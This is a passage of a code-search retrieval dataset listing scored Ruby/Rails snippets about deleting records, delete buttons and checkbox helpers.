Todo.find_by_id(todo_id)\n\t\t\t\t# Had to combine delete button action here.\n\t\t\t\tif params[:delete_button]\n\t\t\t\t\tt.delete\n\t\t\t\t\tt.save\n\t\t\t\t# Else the complete button was selected.\n\t\t\t\telse\n\t\t\t\t\tif t.read_attribute(:completed) == false\n\t\t\t\t\t\tt.update_attribute(:completed, true)\n\t\t\t\t\telse\n\t\t\t\t\t\tt.update_attribute(:completed, false)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "00eb9a0c6dc387af2b6d54be5d0810b4", "score": "0.5346899", "text": "def d\n if selected_items.any?\n if ask %Q[Are you sure want to trash #{selected_items.one? ? selected_items.first.name : \"these #{selected_items.size} files\"}? (y/n)]\n trash\n end\n end\n end", "title": "" }, { "docid": "c90fb7b553134ba5b143eeb963b75b8d", "score": "0.5342891", "text": "def allow_destroy?\n options[:allow_destroy] || false\n end", "title": "" }, { "docid": "919fb5ed96be454029ae725fe6d44ae4", "score": "0.53421146", "text": "def allow_destroy?\n return false if translations_form?\n\n super\n end", "title": "" }, { "docid": "c6a1639f4c4d41c4c038035803e0fe90", "score": "0.5341256", "text": "def have_button_to_delete(instance)\n path = polymorphic_path(instance)\n have_tag(\n \"form[action='#{path}'] input[name='_method'][value='delete'] + input,\n form[action='#{path}'] input[name='_method'][value='delete'] + button,\n a[href=\\\"#{path}\\\"][onclick*=\\\"f.method = 'POST'\\\"][onclick*=\\\"m.setAttribute('name', '_method'); m.setAttribute('value', 'delete')\\\"]\"\n )\n end", "title": "" }, { "docid": "ece79bdf7b646f33000ec852476c7c99", "score": "0.5340439", "text": "def is_delete?\n doc['is_delete']\n end", "title": "" }, { "docid": "aa350762dbc70d8d393e25092932ffc6", "score": "0.53236586", "text": "def sms_consol; det.checkbox(:id, 'enableSmsConsolidation'); end", "title": "" }, { "docid": "bc60424baf0ae25c2450e3c2229baa28", "score": "0.53173804", "text": "def index\n # @in_text_pos = InTextPo.all\n\n @in_text_pos = InTextPo.order(:term)\n respond_to do |format|\n format.html\n format.csv { render text: @in_text_pos.to_csv }\n end\n\n #==== For multi check box\n selects = params[:multi_checks]\n unless selects.nil?\n InTextPo.where(id: selects).destroy_all\n end\n #================\n\n end", "title": "" }, { "docid": "02fa559dadaf0300366c7eac1bb51ec8", "score": "0.5315516", "text": "def check_remove_contact(contact)\n self.div(:id=>\"addpeople_selected_contacts_container\").link(:text=>contact).parent.checkbox.set\n end", "title": "" }, { "docid": "d230f7e31193ea84fc9d187b79be3de2", "score": "0.531253", "text": "def delete_option(name)\n if option = options(:reload).find_by_name(name.to_s)\n option = option.destroy\n options(:reload)\n option\n end\n end", "title": "" }, { "docid": "a3f493a962692513cbc9b04a0dd0f06d", "score": "0.531125", "text": "def sms_desc; det.checkbox(:id, 'enableSMSDesc'); end", "title": "" }, { "docid": "69519818f18684c43ff7192c2a915c72", "score": "0.5306924", "text": "def email_cont; det.checkbox(:id, 'enableEmailContact'); end", "title": "" }, { "docid": "818de57ce7d6be56024e5668c49c7020", "score": "0.5304858", "text": "def delete_dirty?\n false\n end", "title": "" }, { "docid": "37c0902b0588cb466a63739f9ced71c6", "score": "0.5303828", "text": "def atomic_deletes\n { atomic_delete_modifier => { atomic_path => _index ? { \"_id\" => _id } : true }}\n end", "title": "" }, { "docid": "8fd5454d7ba1179a29c5aa7029294dbb", "score": "0.5299727", "text": "def can_be_deleted?\n true\n end", "title": "" }, { "docid": "8fd5454d7ba1179a29c5aa7029294dbb", "score": "0.5299727", "text": "def can_be_deleted?\n true\n end", "title": "" }, { "docid": "96f7e6c5dc449c90cff95a62e504a510", "score": "0.5299716", "text": "def trash\n self.by_focustype(:deleted)\n end", "title": "" }, { "docid": "baa3fe2b5efa3494d0bfa289555393a7", "score": "0.52957475", "text": "def have_check_box(options)\n have_form_field(options.merge(:tag => :input, :type => :checkbox))\n end", "title": "" }, { "docid": "e2b734a85cd3c37d36339b98808bd0e4", "score": "0.52890116", "text": "def index\n # @in_host_pos = InHostPo.all\n\n @in_host_pos = InHostPo.order(:term)\n respond_to do |format|\n format.html\n format.csv { render text: @in_host_pos.to_csv }\n end\n\n #==== For multi check box\n selects = params[:multi_checks]\n unless selects.nil?\n InHostPo.where(id: selects).destroy_all\n end\n #================\n\n end", "title": "" }, { "docid": "a74b3cde4c3962d618c2a000d2f8fd01", "score": "0.52819335", "text": "def delete_choice\n redirect_to (\"/admin/terms/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "ceed749c8669a47d28831a48ddc2cf86", "score": "0.5280172", "text": "def delete_choice\n redirect_to (\"/admin/keywords/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "124b6c44ab29842c2c32621909de4239", "score": "0.52774966", "text": "def delete_message\n $complaints = params[:complaint_ids] #gets checked complaint ids from boxes passed to the action, saves them in global variable $complaints\n if ($complaints == nil) #checks if $complaints is nil, therefore no boxes were checked\n $not_checked = 1 #if yes, $not_checked is set to 1 , which means no boxes where checked\n \n else # by reaching this part it means that we had some checked boxes\n $complaints.each do |id| # loop on each id in the complaints ids passed from the checked boxes\n Complaint.find(id).delete #Delete this certain complaint with this id\n end\n end \n redirect_to admin_index_path #this redirects to the same view again, after updating read in the checked complaints to true, more like refreshing\n end", "title": "" }, { "docid": "bc8f29736aa4e7596b444ec93d0244d6", "score": "0.5274241", "text": "def can_delete?\n self.line_items.empty?\n end", "title": "" }, { "docid": "5f60595d1251402dcaa2757eed82132d", "score": "0.5273408", "text": "def sms_cont; det.checkbox(:id, 'enableSMSContact'); end", "title": "" }, { "docid": "0bc95eecb673f5ae4c77c95e3186b1a4", "score": "0.52714235", "text": "def mark_as_deleted(options={})\n update_receipts({:deleted => true}, options)\n end", "title": "" }, { "docid": "a69ef24dc41991539a77db9a1a087829", "score": "0.52689767", "text": "def is_delete=(value)\n doc['is_delete'] = !!value\n end", "title": "" }, { "docid": "456bcdb4727ab871070dedd8d5fb828c", "score": "0.52629995", "text": "def delete_button(project)\n if admin?\n haml_tag :div, :class => \"actions text-center\" do\n haml_concat br\n haml_concat link_to(\"Delete Project\",\n resource(@project), \n :method => :delete,\n :confirm => \"This delete this project and all related information. There is no UNDO. Continue?\")\n end\n end\n end", "title": "" }, { "docid": "d3bbe8cfe71b17e95feda4036dea3107", "score": "0.5261923", "text": "def delete\n return false # override me\n\n end", "title": "" }, { "docid": "3c0f15033045a2285425e184e5f274ac", "score": "0.5260564", "text": "def confirm_delete\n\tis_user_admin?\n end", "title": "" }, { "docid": "8edec79404cc9488928503aabadceae8", "score": "0.52536654", "text": "def have_deletes?(resumption_token, options)\n !build_delete_ds(resumption_token, options).empty?\n end", "title": "" }, { "docid": "56625d10ab2a1f5a8475d87f2c416b93", "score": "0.52527165", "text": "def delete options\n result = __make_request(:delete, options)\n \n #return true if result == 1\n #false\n true\n end", "title": "" }, { "docid": "88da957530306df1f23a063c54d71338", "score": "0.5252264", "text": "def allow_batch?\n return true if current_ability.can?(:destroy, solr_document) # OVERRIDE: change :edit to :destroy\n false\n end", "title": "" }, { "docid": "ba72c804b77e7d192ea6756514d386ad", "score": "0.5244683", "text": "def no_options_field\n true\n end", "title": "" }, { "docid": "c65946029670c41fcfc7fbb3f2084e30", "score": "0.524372", "text": "def delete(sender)\n #p \"selected is #{@selected}\"\n @delegate.remove_selected(@selected)\n @state.save\n end", "title": "" }, { "docid": "3929b7f703a8df614df9d86430f8f6fa", "score": "0.52349395", "text": "def remove_option\n end", "title": "" }, { "docid": "003d7e71180fce01ff2011968b962361", "score": "0.5231749", "text": "def delete_operation?()\n @delete_op\n end", "title": "" }, { "docid": "859c968bf4441b648cf042a24417617c", "score": "0.5230974", "text": "def allow_delete_rows\n return @allow_delete_rows\n end", "title": "" }, { "docid": "abdb52c9e18ad3af5f80e6b3d79a7ba6", "score": "0.5224814", "text": "def single_item_action_remove_form_fields(form, document)\n single_item_action_form_fields(form, document, 'remove')\n end", "title": "" }, { "docid": "039159d39824f71a1fb928c65d7555bc", "score": "0.5223968", "text": "def delete?\n type == :delete\n end", "title": "" }, { "docid": "66dac2e652e3e5de9762b49fbe8014fe", "score": "0.52224946", "text": "def delete\n @opts[:where] ? super : where(1=>1).delete\n end", "title": "" }, { "docid": "c29fa1f463484d09cf0578eac52759ee", "score": "0.5216168", "text": "def email_desc; det.checkbox(:id, 'enableEmailDesc'); end", "title": "" }, { "docid": "acf9ea2dbc07ad7e62bce9f11898f2eb", "score": "0.52124697", "text": "def delete_choice\n redirect_to (\"/admin/quotes/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "6ad0a9df744ee9905a7652f37b9a561b", "score": "0.52118665", "text": "def destroy\n @supply.in_trash = @supply.in_trash == false\n @supply.save\n respond_to do |format|\n format.html { redirect_to supplies_url, notice: 'El insumo se eliminó correctamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "df47b6ecf75023c04fa03a8730162d18", "score": "0.52085865", "text": "def delete slist, kind, err = true\n raise \"Bad kind: #{kind}\" if !PROC_KINDS.include? kind\n raise \"Missing option list\" if !slist || slist.empty?\n @options[ kind ].delete slist, err\n end", "title": "" }, { "docid": "95c17ffc23de1992b41385562d6f83cc", "score": "0.52073526", "text": "def delete!\n return if @deleted\n \n edit_page = @client.get @edit_url\n edit_form = edit_page.form_with :action => /edit/i\n confirm_page = edit_form.submit edit_form.button_with(:name => /del/i)\n \n @deleted = true\n self\n end", "title": "" }, { "docid": "f8b3b100a571468750624171d9ad6ae2", "score": "0.52070236", "text": "def existing_product_options=(product_options) \n product_options.each do |key, option|\n if option[:delete] == \"true\"\n self.product_options.find(key).destroy\n else\n self.product_options.find(key).update_attributes(option)\n end\n end\n end", "title": "" }, { "docid": "f5427bc97a443968aa7c1e40a1406c6e", "score": "0.52037287", "text": "def delete_multi(names, options = T.unsafe(nil)); end", "title": "" }, { "docid": "6b0ea86fc793ec4ff4188055a58b1dfd", "score": "0.5189847", "text": "def delete_button(name, options = nil, html_options = nil, &block)\n name, options, html_options = [nil, name, options] unless html_options\n block ||= proc { fa_icon 'trash'.freeze }\n\n html_options = html_options&.dup || {}\n html_options.reverse_merge!(method: :delete,\n data: { confirm: t('helpers.buttons.delete_confirm_message') })\n resource_button(:delete, 'btn-danger'.freeze, name || block, options, html_options)\n end", "title": "" }, { "docid": "bbd092281bf4f2a10787d88f40c2fad8", "score": "0.5187708", "text": "def delete\n frm.button(:value=>\"Delete\").click\n CreateEditSyllabus.new(@browser)\n end", "title": "" }, { "docid": "13195435956d8dac639276581ad16d6c", "score": "0.5182882", "text": "def delete=(v) Axlsx.validate_boolean(v); @delete = v; end", "title": "" }, { "docid": "f688c2f1246f3900b00fa008e3b66ff2", "score": "0.5182748", "text": "def checkbox(hash = {})\n hash[:type] = :checkbox\n input(hash)\n end", "title": "" }, { "docid": "d8ca1c8710c6b8cf029c7bf1c704a40a", "score": "0.5179665", "text": "def ok_to_delete?(id)\n true\n end", "title": "" }, { "docid": "48b36f26c9336768e7605eecea57b9d1", "score": "0.51747304", "text": "def batch_destroy_authorized?(record = nil)\n authorized_for?(:crud_type => :delete)\n end", "title": "" }, { "docid": "32d0dca0522eecac034696571b7f1e14", "score": "0.51659834", "text": "def check_destroyable\n if self.destroyable?\n true\n else\n self.errors.add(:base, \"List items are linked to this list and prevented it from being deleted.\")\n false\n end\n end", "title": "" }, { "docid": "f0507b985f1ac80dceade130263eeee0", "score": "0.51648986", "text": "def pre_delete_hook( index )\n \n # false means delete does not take place\n return true\n \n end", "title": "" } ]